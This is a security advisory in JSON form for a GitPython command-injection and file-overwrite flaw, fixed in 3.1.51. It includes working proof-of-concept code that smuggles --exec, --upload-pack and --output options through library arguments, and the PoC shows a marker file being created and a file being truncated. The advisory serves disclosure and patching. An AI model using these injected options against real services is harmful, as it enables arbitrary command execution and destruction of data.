CVE-2026-67323: GitPython Command Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-956x-8gvw-wg5v",
  "modified" : "2026-09-08T15:28:24Z",
  "published" : "2026-07-21T20:10:06Z",
  "aliases" : [ "CVE-2026-67323" ],
  "summary" : "GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`",
  "details" : "## Summary\n\nGitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in\ngit/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this\ncheck him he is only call from fetch, pull, push and clone_from, everything else who build a git\nargv from caller values just go through, no check, three examples\n\n## Code analysis\n\nRepo.archive (git/repo/base.py:1623) do self.git.archive(\"--\", treeish, *path, **kwargs), the\ntreeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and\nthey land before it, so {\"remote\": \".\", \"exec\": \"<cmd>\"} give\ngit archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and\n--exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and\narchive already document caller kwargs (format, prefix, path) so pass a dict is normal usage\n\nrepo.git.ls_remote(url, upload_pack=\"<cmd>\"), same builder, same result, it's exactly the kwarg\ngap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic\nrepo.git.<anything>(**user_dict) surface him he never got the fix\n\nRepo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev\nbefore the --, no leading-dash check, a \"branch name\" like --output=/etc/whatever become\ngit rev-list --output=... --, and git he open and truncate that file before he even validate the\nrevision, the file is gone even if the command error right after\n\n## PoC\n\nReleased 3.1.50, git 2.51.0, stock config (`git config --get protocol.ext.allow` returns nothing here).\n\n```\npip install GitPython   # 3.1.50\n```\n\nCommon setup for the three:\n\n```python\nimport io, os, tempfile, subprocess, git\nd = tempfile.mkdtemp()\nsubprocess.run(['git','init','-q',d], check=True)\nsubprocess.run(['git','-C',d,'-c','user.email=a@b.c','-c','user.name=a',\n                'commit','-q','--allow-empty','-m','init'], check=True)\nrepo = git.Repo(d)\ntmp = tempfile.gettempdir()\n```\n\n1. exec via archive (a service exports a repo and forwards the user's options dict):\n\n```python\nm = os.path.join(tmp, 'gp_archive_check')\ntry: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n2. exec via ls_remote:\n\n```python\nm = os.path.join(tmp, 'gp_lsremote_check')\ntry: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] marker present:', os.path.exists(m))\n```\n```\n[*] Cmd('git') failed due to: exit code(128)\n[+] marker present: True\n```\n\n3. file clobber via a rev that looks like a ref:\n\n```python\nv = os.path.join(tmp, 'release_notes.txt')\nopen(v,'w').write('do not delete\\n')\nprint('[*] before:', repr(open(v).read()))\ntry: list(repo.iter_commits('--output=' + v))\nexcept git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])\nprint('[+] after :', repr(open(v).read()), '<- truncated')\n```\n```\n[*] before: 'do not delete\\n'\n[*] Cmd('git') failed due to: exit code(129)\n[+] after : '' <- truncated\n```",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "GitPython"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.51"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.50"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-956x-8gvw-wg5v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-67323"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/pull/2163"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/commit/701ce32fe5ba8cb622c0e0342a376a6beb47d738"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/gitpython-developers/GitPython"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.51"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/gitpython-before-command-injection-via-unguarded-git-options"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-77", "CWE-88" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T20:10:06Z",
    "nvd_published_at" : null
  }
}